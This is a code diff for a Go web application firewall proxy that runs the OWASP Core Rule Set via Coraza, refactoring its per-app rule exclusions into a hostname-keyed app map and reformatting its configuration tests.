@@ -50,18 +50,28 @@ func TestRProxyDefaults(t *testing.T) {
|
|||||||
if cfg.ListenAddr != rproxyDefaultAddr ||
|
if cfg.ListenAddr != rproxyDefaultAddr ||
|
||||||
cfg.UpstreamURL.String() != rproxyDefaultApp ||
|
cfg.UpstreamURL.String() != rproxyDefaultApp ||
|
||||||
cfg.WAFBackend.String() != backendURL {
|
cfg.WAFBackend.String() != backendURL {
|
||||||
t.Errorf("addresses %q, %v, %v", cfg.ListenAddr, cfg.UpstreamURL, cfg.WAFBackend)
|
t.Errorf(
|
||||||
|
"addresses %q, %v, %v",
|
||||||
|
cfg.ListenAddr,
|
||||||
|
cfg.UpstreamURL,
|
||||||
|
cfg.WAFBackend,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" {
|
if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" {
|
||||||
t.Errorf("timeout %v, default disposition %q", cfg.Timeout, cfg.DefaultDisposition)
|
t.Errorf(
|
||||||
|
"timeout %v, default disposition %q",
|
||||||
|
cfg.Timeout,
|
||||||
|
cfg.DefaultDisposition,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.MaxRequestSize != 100<<20 || cfg.MaxResponseSize != 1<<30 {
|
if cfg.MaxRequestSize != 100<<20 || cfg.MaxResponseSize != 1<<30 {
|
||||||
t.Errorf("sizes %d and %d", cfg.MaxRequestSize, cfg.MaxResponseSize)
|
t.Errorf("sizes %d and %d", cfg.MaxRequestSize, cfg.MaxResponseSize)
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.MaxRequestTime != time.Minute || cfg.MaxResponseTime != 30*time.Minute {
|
if cfg.MaxRequestTime != time.Minute ||
|
||||||
|
cfg.MaxResponseTime != 30*time.Minute {
|
||||||
t.Errorf("times %v and %v", cfg.MaxRequestTime, cfg.MaxResponseTime)
|
t.Errorf("times %v and %v", cfg.MaxRequestTime, cfg.MaxResponseTime)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -100,9 +110,12 @@ func TestRProxySettingsAreRead(t *testing.T) {
|
|||||||
t.Errorf("addresses %+v", cfg)
|
t.Errorf("addresses %+v", cfg)
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.Timeout != 150*time.Millisecond || cfg.DefaultDisposition != "deny" ||
|
if cfg.Timeout != 150*time.Millisecond ||
|
||||||
cfg.MaxRequestSize != 1024 || cfg.MaxResponseSize != 0 ||
|
cfg.DefaultDisposition != "deny" ||
|
||||||
cfg.MaxRequestTime != 0 || cfg.MaxResponseTime != 250*time.Millisecond {
|
cfg.MaxRequestSize != 1024 ||
|
||||||
|
cfg.MaxResponseSize != 0 ||
|
||||||
|
cfg.MaxRequestTime != 0 ||
|
||||||
|
cfg.MaxResponseTime != 250*time.Millisecond {
|
||||||
t.Errorf("limits %+v", cfg)
|
t.Errorf("limits %+v", cfg)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -114,8 +127,8 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
|
|||||||
name, value string
|
name, value string
|
||||||
}{
|
}{
|
||||||
{wafBackend, ""},
|
{wafBackend, ""},
|
||||||
{wafBackend, "discriminator:8080"},
|
{wafBackend, "waf:8080"},
|
||||||
{wafBackend, "http://discriminator:8080/path"},
|
{wafBackend, "http://waf:8080/path"},
|
||||||
{rproxyTimeout, "0"},
|
{rproxyTimeout, "0"},
|
||||||
{rproxyTimeout, "-1"},
|
{rproxyTimeout, "-1"},
|
||||||
{rproxyTimeout, off},
|
{rproxyTimeout, off},
|
||||||
@@ -147,7 +160,9 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
|
|||||||
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
_, err := rproxyConfig(map[string]string{wafBackend: backendURL, tc.name: tc.value})
|
_, err := rproxyConfig(
|
||||||
|
map[string]string{wafBackend: backendURL, tc.name: tc.value},
|
||||||
|
)
|
||||||
if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") {
|
if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") {
|
||||||
t.Errorf("error %v, want one naming %s", err, tc.name)
|
t.Errorf("error %v, want one naming %s", err, tc.name)
|
||||||
}
|
}
|
||||||
@@ -158,7 +173,9 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
|
|||||||
func TestRProxyTrustedProxiesSetButEmptyTrustNothing(t *testing.T) {
|
func TestRProxyTrustedProxiesSetButEmptyTrustNothing(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL, rproxyTrusted: ""})
|
cfg, err := rproxyConfig(
|
||||||
|
map[string]string{wafBackend: backendURL, rproxyTrusted: ""},
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("settings: %v", err)
|
t.Fatalf("settings: %v", err)
|
||||||
}
|
}
|
||||||
@@ -172,7 +189,8 @@ func TestRProxyNeedsItsBackend(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
_, err := rproxyConfig(nil)
|
_, err := rproxyConfig(nil)
|
||||||
if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
|
if err == nil ||
|
||||||
|
!strings.HasPrefix(err.Error(), wafBackend+": is required") {
|
||||||
t.Errorf("error %v, want one saying %s is required", err, wafBackend)
|
t.Errorf("error %v, want one saying %s is required", err, wafBackend)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -188,7 +206,8 @@ func TestRProxyReadsNoFile(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
_, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path})
|
_, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path})
|
||||||
if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
|
if err == nil ||
|
||||||
|
!strings.HasPrefix(err.Error(), wafBackend+": is required") {
|
||||||
t.Errorf("error %v, want %s still required", err, wafBackend)
|
t.Errorf("error %v, want %s still required", err, wafBackend)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -1,9 +1,9 @@
|
|||||||
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
||||||
// method, the URL with its query and the headers of a request, and on its
|
// method, the URL with its query and the headers of a request, and on its
|
||||||
// body while SWW_WAF_BODY_LIMIT is set, with the eleven changes sww
|
// body while SWW_WAF_BODY_LIMIT is set, with the five changes sww
|
||||||
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
|
// makes to it, the fixes for the apps SWW_APPS names, and the exclusions in
|
||||||
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
|
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack detection" under "Settings"
|
||||||
// response.
|
// in SPEC.md describes them. It reads no response.
|
||||||
//
|
//
|
||||||
// sww writes only to its state directory, so Coraza is built with
|
// sww writes only to its state directory, so Coraza is built with
|
||||||
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
|
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
|
||||||
@@ -16,6 +16,8 @@ import (
|
|||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
|
"maps"
|
||||||
|
"net"
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/netip"
|
"net/netip"
|
||||||
"os"
|
"os"
|
||||||
@@ -32,9 +34,8 @@ import (
|
|||||||
|
|
||||||
// directives are the Core Rule Set as sww runs it, with the
|
// directives are the Core Rule Set as sww runs it, with the
|
||||||
// paranoia level for %d, bodyDirectives for the first %s while
|
// paranoia level for %d, bodyDirectives for the first %s while
|
||||||
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
|
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second, and the
|
||||||
// giteaExclusions for the third, wordpressExclusions for the fourth,
|
// directives of every app in apps for the third.
|
||||||
// drupalExclusions for the fifth, and mediawikiExclusions for the sixth.
|
|
||||||
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
||||||
// Core Rule Set keeps for the rules that set it up, which
|
// Core Rule Set keeps for the rules that set it up, which
|
||||||
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
|
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
|
||||||
@@ -82,58 +83,24 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
|
|||||||
# before the rules of phase 1 too.
|
# before the rules of phase 1 too.
|
||||||
%s
|
%s
|
||||||
|
|
||||||
# The eighth change comes before the rules for the same reason.
|
# The apps' fixes come before the rules for the same reason.
|
||||||
%s
|
%s
|
||||||
|
|
||||||
# The ninth change comes before the rules for the same reason.
|
# The fifth: only the rules for requests are loaded, and no response is
|
||||||
%s
|
|
||||||
|
|
||||||
# So does the tenth.
|
|
||||||
%s
|
|
||||||
|
|
||||||
# And the eleventh.
|
|
||||||
%s
|
|
||||||
|
|
||||||
# The sixth: only the rules for requests are loaded, and no response is
|
|
||||||
# inspected.
|
# inspected.
|
||||||
Include @owasp_crs/REQUEST-*.conf
|
Include @owasp_crs/REQUEST-*.conf
|
||||||
|
|
||||||
# The third: redirect_uri is not checked for a URL naming an IP address or
|
# The third: redirect_uri is not checked for a URL naming an IP address or
|
||||||
# localhost. Coraza matches a parameter name here, and in the fourth,
|
# localhost. Coraza matches a parameter name here without regard to case.
|
||||||
# without regard to case. ARGS holds the fields of a form data or multipart
|
# ARGS holds the fields of a form data or multipart body Coraza reads as
|
||||||
# body Coraza reads as well as the query parameters, so a field of one of
|
# well as the query parameters, so a field of this name is left out too.
|
||||||
# these names is left out too.
|
|
||||||
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
|
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
|
||||||
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
|
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
|
||||||
|
|
||||||
# The fourth: the query parameters in which gitea sends names within a
|
# The fourth: Referer is not checked for a Unix command without arguments
|
||||||
# repository or its own records, or a page of its own site, are not
|
# or for Java starting a process.
|
||||||
# checked against the lists of system files, shell paths and command
|
|
||||||
# names. Coraza takes one rule id per directive.
|
|
||||||
SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
|
|
||||||
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
|
|
||||||
!ARGS:artifactName|!ARGS:redirect_to"
|
|
||||||
SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
|
|
||||||
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
|
|
||||||
!ARGS:artifactName|!ARGS:redirect_to"
|
|
||||||
SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
|
|
||||||
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
|
|
||||||
!ARGS:artifactName|!ARGS:redirect_to"
|
|
||||||
|
|
||||||
# The fifth, for Referer: it is not checked for a Unix command without
|
|
||||||
# arguments, for Java starting a process, or for a Java class name. 944130
|
|
||||||
# refused every page opened from the page of java.lang.String.md. The
|
|
||||||
# cookies are left out in Inspect.
|
|
||||||
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
|
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
|
||||||
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
|
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
|
||||||
SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer"
|
|
||||||
|
|
||||||
# The seventh: a container image push that reuses a layer names the image
|
|
||||||
# it takes the layer from in the query parameter from, which is not
|
|
||||||
# checked for command names. 932260 refused the push of a layer from
|
|
||||||
# owner/python3-app.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/v2/.+/blobs/uploads/$" \
|
|
||||||
"id:900500,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:from"
|
|
||||||
`
|
`
|
||||||
|
|
||||||
// bodyDirectives have the Core Rule Set read the part of a request body
|
// bodyDirectives have the Core Rule Set read the part of a request body
|
||||||
@@ -178,39 +145,77 @@ SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
|
|||||||
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
|
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
|
||||||
`
|
`
|
||||||
|
|
||||||
// giteaExclusions are the eighth change: the fields of gitea's own
|
// app is an app whose ordinary requests the Core Rule Set would refuse,
|
||||||
// requests that skip the rules that refused them there, as Coraza
|
// with the fixes that let them pass.
|
||||||
// directives.
|
type app struct {
|
||||||
//
|
// directives are Coraza exclusions, loaded before the Core Rule Set's
|
||||||
|
// rules. Their first rule skips to the marker they end with, unless
|
||||||
|
// Inspect sets the transaction variable named for the app, such as
|
||||||
|
// app_gitea. The skip reaches only phase 1, so a rule of a later phase
|
||||||
|
// must check that variable itself.
|
||||||
|
directives string
|
||||||
|
// cookies are the cookies the Core Rule Set reads a request without.
|
||||||
|
cookies []string
|
||||||
|
// forkOf names the app this one is a fork of, "" for none. A hostname
|
||||||
|
// that lists this app gets that app's fixes too.
|
||||||
|
forkOf string
|
||||||
|
}
|
||||||
|
|
||||||
//go:embed gitea.conf
|
//go:embed gitea.conf
|
||||||
var giteaExclusions string
|
var giteaDirectives string
|
||||||
|
|
||||||
// wordpressExclusions are the ninth change: the fields of WordPress's own
|
|
||||||
// requests that skip the rules that refused them there, as Coraza
|
|
||||||
// directives.
|
|
||||||
//
|
|
||||||
//go:embed wordpress.conf
|
//go:embed wordpress.conf
|
||||||
var wordpressExclusions string
|
var wordpressDirectives string
|
||||||
|
|
||||||
// drupalExclusions are the tenth change: the fields of Drupal's own
|
|
||||||
// requests that skip the rules that refused them there, as Coraza
|
|
||||||
// directives.
|
|
||||||
//
|
|
||||||
//go:embed drupal.conf
|
//go:embed drupal.conf
|
||||||
var drupalExclusions string
|
var drupalDirectives string
|
||||||
|
|
||||||
// mediawikiExclusions are the eleventh change: the fields of MediaWiki's
|
|
||||||
// own requests that skip the rules that refused them there, as Coraza
|
|
||||||
// directives.
|
|
||||||
//
|
|
||||||
//go:embed mediawiki.conf
|
//go:embed mediawiki.conf
|
||||||
var mediawikiExclusions string
|
var mediawikiDirectives string
|
||||||
|
|
||||||
// cookiesNotRead are the cookies the Core Rule Set reads a request
|
//go:embed mastodon.conf
|
||||||
// without, the rest of the fifth change.
|
var mastodonDirectives string
|
||||||
|
|
||||||
|
//go:embed vaultwarden.conf
|
||||||
|
var vaultwardenDirectives string
|
||||||
|
|
||||||
|
//go:embed nextcloud.conf
|
||||||
|
var nextcloudDirectives string
|
||||||
|
|
||||||
|
//go:embed forgejo.conf
|
||||||
|
var forgejoDirectives string
|
||||||
|
|
||||||
|
//go:embed ghost.conf
|
||||||
|
var ghostDirectives string
|
||||||
|
|
||||||
|
// apps are the apps whose fixes sww has, by the name SWW_APPS gives each.
|
||||||
|
// flash is Forgejo's name for gitea_flash.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a map
|
||||||
var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
|
var apps = map[string]app{
|
||||||
|
"drupal": {directives: drupalDirectives},
|
||||||
|
"forgejo": {
|
||||||
|
directives: forgejoDirectives,
|
||||||
|
cookies: []string{"flash"},
|
||||||
|
forkOf: "gitea",
|
||||||
|
},
|
||||||
|
"ghost": {directives: ghostDirectives},
|
||||||
|
"gitea": {
|
||||||
|
directives: giteaDirectives,
|
||||||
|
cookies: []string{"gitea_flash", "redirect_to"},
|
||||||
|
},
|
||||||
|
"mastodon": {directives: mastodonDirectives},
|
||||||
|
"mediawiki": {directives: mediawikiDirectives},
|
||||||
|
"nextcloud": {directives: nextcloudDirectives},
|
||||||
|
"vaultwarden": {directives: vaultwardenDirectives},
|
||||||
|
"wordpress": {directives: wordpressDirectives},
|
||||||
|
}
|
||||||
|
|
||||||
|
// AppNames returns the names of the apps whose fixes sww has, in
|
||||||
|
// alphabetical order.
|
||||||
|
func AppNames() []string {
|
||||||
|
return slices.Sorted(maps.Keys(apps))
|
||||||
|
}
|
||||||
|
|
||||||
// Params are what New needs.
|
// Params are what New needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
@@ -226,6 +231,11 @@ type Params struct {
|
|||||||
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
|
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
|
||||||
// there is none.
|
// there is none.
|
||||||
ExclusionsFile string
|
ExclusionsFile string
|
||||||
|
// Apps are the names of the apps each hostname serves, by hostname in
|
||||||
|
// lowercase (SWW_APPS). A request gets only the fixes of its hostname's
|
||||||
|
// apps and of the apps they are forks of, or of every app while Apps is
|
||||||
|
// nil.
|
||||||
|
Apps map[string][]string
|
||||||
}
|
}
|
||||||
|
|
||||||
// The ids of sww's own rules, which an exclusions file may not
|
// The ids of sww's own rules, which an exclusions file may not
|
||||||
@@ -248,9 +258,11 @@ var errSwwRuleID = errors.New("an id of sww's own rules")
|
|||||||
// directive that removes or changes rules as it loads, such as
|
// directive that removes or changes rules as it loads, such as
|
||||||
// SecRuleRemoveById. The Core Rule Set's rules load after the file, so
|
// SecRuleRemoveById. The Core Rule Set's rules load after the file, so
|
||||||
// the directive finds none of them.
|
// the directive finds none of them.
|
||||||
var errChangesNoRule = errors.New("the Core Rule Set's rules load after the file; " +
|
var errChangesNoRule = errors.New(
|
||||||
|
"the Core Rule Set's rules load after the file; " +
|
||||||
"switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " +
|
"switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " +
|
||||||
"with a ctl exclusion")
|
"with a ctl exclusion",
|
||||||
|
)
|
||||||
|
|
||||||
// directivesIn returns the directives in text as Coraza reads them: it
|
// directivesIn returns the directives in text as Coraza reads them: it
|
||||||
// skips blank lines and comment lines, and joins a line ending in \ to
|
// skips blank lines and comment lines, and joins a line ending in \ to
|
||||||
@@ -294,18 +306,27 @@ func checkExclusions(exclusions string) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if first <= lastOwnRuleID && last >= firstOwnRuleID {
|
if first <= lastOwnRuleID && last >= firstOwnRuleID {
|
||||||
return fmt.Errorf("the exclusions file names %s: %w", match[0],
|
return fmt.Errorf(
|
||||||
errSwwRuleID)
|
"the exclusions file names %s: %w",
|
||||||
|
match[0],
|
||||||
|
errSwwRuleID,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Coraza takes the directive's name up to the first space, without
|
// Coraza takes the directive's name up to the first space, without
|
||||||
// regard to case.
|
// regard to case.
|
||||||
name, _, _ := strings.Cut(directive, " ")
|
name, _, _ := strings.Cut(directive, " ")
|
||||||
if lower := strings.ToLower(name); strings.HasPrefix(lower, "secruleremove") ||
|
if lower := strings.ToLower(name); strings.HasPrefix(
|
||||||
|
lower,
|
||||||
|
"secruleremove",
|
||||||
|
) ||
|
||||||
strings.HasPrefix(lower, "secruleupdate") {
|
strings.HasPrefix(lower, "secruleupdate") {
|
||||||
return fmt.Errorf("%s in the exclusions file changes no rule: %w", name,
|
return fmt.Errorf(
|
||||||
errChangesNoRule)
|
"%s in the exclusions file changes no rule: %w",
|
||||||
|
name,
|
||||||
|
errChangesNoRule,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -317,13 +338,17 @@ func checkExclusions(exclusions string) error {
|
|||||||
type CoreRuleSet struct {
|
type CoreRuleSet struct {
|
||||||
engine coraza.WAF
|
engine coraza.WAF
|
||||||
bodyLimit int64
|
bodyLimit int64
|
||||||
|
// appsByHostname are the names of the apps each hostname serves, by
|
||||||
|
// hostname in lowercase (SWW_APPS), nil while SWW_APPS is unset.
|
||||||
|
appsByHostname map[string][]string
|
||||||
}
|
}
|
||||||
|
|
||||||
// New returns the Core Rule Set with the eleven changes, at params'
|
// New returns the Core Rule Set with the five changes and the apps' fixes,
|
||||||
// paranoia level, without the rules it switches off, reading request
|
// at params' paranoia level, without the rules it switches off, reading
|
||||||
// bodies up to params' limit, and with params' exclusions file loaded
|
// request bodies up to params' limit, and with params' exclusions file
|
||||||
// before the Core Rule Set's rules. An exclusions file is an error if it
|
// loaded before the Core Rule Set's rules. An exclusions file is an error
|
||||||
// cannot be read or does not parse, or if checkExclusions refuses it.
|
// if it cannot be read or does not parse, or if checkExclusions refuses
|
||||||
|
// it.
|
||||||
func New(params Params) (*CoreRuleSet, error) {
|
func New(params Params) (*CoreRuleSet, error) {
|
||||||
body := ""
|
body := ""
|
||||||
if params.BodyLimit > 0 {
|
if params.BodyLimit > 0 {
|
||||||
@@ -346,9 +371,13 @@ func New(params Params) (*CoreRuleSet, error) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
var fixes strings.Builder
|
||||||
|
for _, name := range AppNames() {
|
||||||
|
fixes.WriteString(apps[name].directives + "\n")
|
||||||
|
}
|
||||||
|
|
||||||
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
|
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
|
||||||
giteaExclusions, wordpressExclusions, drupalExclusions,
|
fixes.String())
|
||||||
mediawikiExclusions)
|
|
||||||
|
|
||||||
if len(params.DisabledRules) > 0 {
|
if len(params.DisabledRules) > 0 {
|
||||||
ids := make([]string, len(params.DisabledRules))
|
ids := make([]string, len(params.DisabledRules))
|
||||||
@@ -366,7 +395,11 @@ func New(params Params) (*CoreRuleSet, error) {
|
|||||||
return nil, fmt.Errorf("load the Core Rule Set: %w", err)
|
return nil, fmt.Errorf("load the Core Rule Set: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
return &CoreRuleSet{engine: engine, bodyLimit: params.BodyLimit}, nil
|
return &CoreRuleSet{
|
||||||
|
engine: engine,
|
||||||
|
bodyLimit: params.BodyLimit,
|
||||||
|
appsByHostname: params.Apps,
|
||||||
|
}, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// Result is what the Core Rule Set found in a request.
|
// Result is what the Core Rule Set found in a request.
|
||||||
@@ -378,11 +411,12 @@ type Result struct {
|
|||||||
Score int
|
Score int
|
||||||
}
|
}
|
||||||
|
|
||||||
// Inspect runs the Core Rule Set on r, a request from client: on its
|
// Inspect runs the Core Rule Set on r, a request from client, with the
|
||||||
// method, its URL with the query, and its headers, the Cookie header
|
// fixes of the apps appsFor names for r's hostname: on its method, its URL
|
||||||
// without the cookies in cookiesNotRead, and on body, r's body as the
|
// with the query, and its headers, the Cookie header without those apps'
|
||||||
// caller has it, as readBody reads it. It returns what it found, what it
|
// cookies, and on body, r's body as the caller has it, as readBody reads
|
||||||
// read of body, and the error that ended the reading early, if one did.
|
// it. It returns what it found, what it read of body, and the error that
|
||||||
|
// ended the reading early, if one did.
|
||||||
func (c *CoreRuleSet) Inspect(
|
func (c *CoreRuleSet) Inspect(
|
||||||
r *http.Request, client netip.Addr, body io.Reader,
|
r *http.Request, client netip.Addr, body io.Reader,
|
||||||
) (Result, []byte, error) {
|
) (Result, []byte, error) {
|
||||||
@@ -390,13 +424,24 @@ func (c *CoreRuleSet) Inspect(
|
|||||||
// Closing would remove the files Coraza wrote, and it writes none.
|
// Closing would remove the files Coraza wrote, and it writes none.
|
||||||
defer func() { _ = tx.Close() }()
|
defer func() { _ = tx.Close() }()
|
||||||
|
|
||||||
|
// The transaction's variables are set only through Coraza's interface
|
||||||
|
// for plugins.
|
||||||
|
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
|
||||||
|
|
||||||
|
var cookiesNotRead []string
|
||||||
|
|
||||||
|
for _, name := range c.appsFor(r.Host) {
|
||||||
|
state.Variables().TX().Set("app_"+name, []string{"1"})
|
||||||
|
cookiesNotRead = append(cookiesNotRead, apps[name].cookies...)
|
||||||
|
}
|
||||||
|
|
||||||
tx.ProcessConnection(client.String(), 0, "", 0)
|
tx.ProcessConnection(client.String(), 0, "", 0)
|
||||||
tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
|
tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
|
||||||
|
|
||||||
for name, values := range r.Header {
|
for name, values := range r.Header {
|
||||||
for _, value := range values {
|
for _, value := range values {
|
||||||
if name == "Cookie" {
|
if name == "Cookie" {
|
||||||
value = withoutCookiesNotRead(value)
|
value = withoutCookies(value, cookiesNotRead)
|
||||||
if value == "" {
|
if value == "" {
|
||||||
continue // it held those cookies alone
|
continue // it held those cookies alone
|
||||||
}
|
}
|
||||||
@@ -443,7 +488,10 @@ func (c *CoreRuleSet) Inspect(
|
|||||||
// readBody reads one byte past the limit, to tell which they are, gives
|
// readBody reads one byte past the limit, to tell which they are, gives
|
||||||
// the Core Rule Set what it reads, and returns what it read and the error
|
// the Core Rule Set what it reads, and returns what it read and the error
|
||||||
// that ended the reading early, if one did.
|
// that ended the reading early, if one did.
|
||||||
func (c *CoreRuleSet) readBody(tx types.Transaction, body io.Reader) ([]byte, error) {
|
func (c *CoreRuleSet) readBody(
|
||||||
|
tx types.Transaction,
|
||||||
|
body io.Reader,
|
||||||
|
) ([]byte, error) {
|
||||||
if c.bodyLimit == 0 {
|
if c.bodyLimit == 0 {
|
||||||
return nil, nil
|
return nil, nil
|
||||||
}
|
}
|
||||||
@@ -489,9 +537,35 @@ func score(tx types.Transaction) int {
|
|||||||
return n
|
return n
|
||||||
}
|
}
|
||||||
|
|
||||||
// withoutCookiesNotRead returns value, a Cookie header's, without the
|
// appsFor returns the names of the apps whose fixes a request for host,
|
||||||
// cookies in cookiesNotRead.
|
// its Host header, gets: every app while SWW_APPS is unset, and otherwise
|
||||||
func withoutCookiesNotRead(value string) string {
|
// those SWW_APPS lists for host's name, without the port and in
|
||||||
|
// lowercase, each followed by the app it is a fork of, if any.
|
||||||
|
func (c *CoreRuleSet) appsFor(host string) []string {
|
||||||
|
if c.appsByHostname == nil {
|
||||||
|
return AppNames()
|
||||||
|
}
|
||||||
|
|
||||||
|
hostname, _, err := net.SplitHostPort(host)
|
||||||
|
if err != nil {
|
||||||
|
hostname = host // it has no port
|
||||||
|
}
|
||||||
|
|
||||||
|
var names []string
|
||||||
|
|
||||||
|
for _, name := range c.appsByHostname[strings.ToLower(hostname)] {
|
||||||
|
names = append(names, name)
|
||||||
|
if apps[name].forkOf != "" {
|
||||||
|
names = append(names, apps[name].forkOf)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return names
|
||||||
|
}
|
||||||
|
|
||||||
|
// withoutCookies returns value, a Cookie header's, without the cookies
|
||||||
|
// named in cookiesNotRead.
|
||||||
|
func withoutCookies(value string, cookiesNotRead []string) string {
|
||||||
var kept []string
|
var kept []string
|
||||||
|
|
||||||
for cookie := range strings.SplitSeq(value, ";") {
|
for cookie := range strings.SplitSeq(value, ";") {
|
||||||
|
|||||||
File diff suppressed because it is too large.
Load diff
@@ -1,4 +1,4 @@
|
|||||||
# The tenth change: on Drupal's paths, some fields skip the rules that refused
|
# Drupal's fixes: on Drupal's paths, some fields skip the rules that refused
|
||||||
# ordinary Drupal requests there. They are the fields where Drupal sends a
|
# ordinary Drupal requests there. They are the fields where Drupal sends a
|
||||||
# search, a name, a file name or an address. Each exclusion runs with the
|
# search, a name, a file name or an address. Each exclusion runs with the
|
||||||
# request, before the rules it switches off, so this file is loaded before the
|
# request, before the rules it switches off, so this file is loaded before the
|
||||||
@@ -25,6 +25,13 @@
|
|||||||
# 932230: ls -la
|
# 932230: ls -la
|
||||||
# 932235: python3
|
# 932235: python3
|
||||||
|
|
||||||
|
# Every rule below is skipped unless Inspect has set tx.app_drupal. It sets it
|
||||||
|
# while SWW_APPS is unset, or lists drupal for the request's hostname.
|
||||||
|
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||||
|
# tx.app_drupal itself.
|
||||||
|
SecRule &TX:app_drupal "@eq 0" \
|
||||||
|
"id:900790,phase:1,pass,nolog,skipAfter:END_DRUPAL"
|
||||||
|
|
||||||
# Every admin page's filters and autocompletes, and the page to return to:
|
# Every admin page's filters and autocompletes, and the page to return to:
|
||||||
# title: /admin/content?title=python3
|
# title: /admin/content?title=python3
|
||||||
# name: /admin/content/media?name=python3
|
# name: /admin/content/media?name=python3
|
||||||
@@ -184,6 +191,92 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
|
|||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\
|
||||||
